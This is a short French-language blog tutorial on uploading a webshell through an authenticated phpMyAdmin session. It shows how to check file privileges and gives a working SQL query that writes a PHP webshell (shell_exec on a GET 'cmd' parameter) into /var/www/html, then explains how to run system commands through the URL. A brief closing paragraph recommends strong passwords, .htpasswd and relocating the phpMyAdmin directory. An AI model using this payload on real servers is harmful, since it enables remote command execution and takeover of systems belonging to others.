Web: Upload un webshell avec un compte phpMyAdmin

PhpMyAdmin est un outil qui permet de gérer une base de donnée via une page web codé en PHP. Si un attaquant réussi a s'authentifier à phpMyAdmin il a accès a de nombreuses informations sensible ainsi qu'a des fonctions dangereuses pour le serveur.
Dans ce tutoriel je vais vous montrer comment upload un webshell avec phpMyAdmin. Pour les plus Néophyte d'entre vous, un webshell est une page web ou l'on peux taper des commandes système et voir le retour de ces commandes.
Ce tutoriel sera basé sur la version 4.9.5deb2 de phpMyAdmin couplé avec un serveur mysql sur linux mais cette technique fonctionne de nombreuses configurations différentes.

Près? Alors c'est parti 🙂

Dans phpMyAdmin l'onglet "SQL" permet d'exécuter des requête SQL:

Il est possible de voir ses privilèges via la requête "show PRIVILEGES;":

On peut notamment voir si le user mysql à le doit le lire et d'éditer des fichiers.

Sur la capture d'écran ci dessus vous pouvez voir qu'il est possible d'écrire ou de modifier des fichiers.
La syntaxe de la requête pour écrire un fichier est:
SELECT "[contenu du fichier]" into outfile "le chemin absolut du fichier";
Il est donc possible d'écrire un webshell minimaliste:
SELECT " <?php echo ('<PRE>' . shell_exec($_GET['cmd']) . '</PRE>'); ?>" into outfile "/var/www/html/webshell.php";

Si le user à des droits en écriture dans l'arborescence du serveur web c'est gagné 🙂

Vous pouvez par la suite accéder a ce webshell. Dans cet exemple il faut taper la commande dans la variable cmd dans l'URL:

la morale de cette démo est qu'il est très important de faire attention a la sécurité d'un portail phpMyAdmin. Il faut bien sûr mettre un mot de passe fort et unique mais vous pouvez également rajouter une authentification avec un .htpasswd et changer l'emplacement de répertoire pour éviter le banal /phpmyadmin 🙂 ça sera un bon début 🙂

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *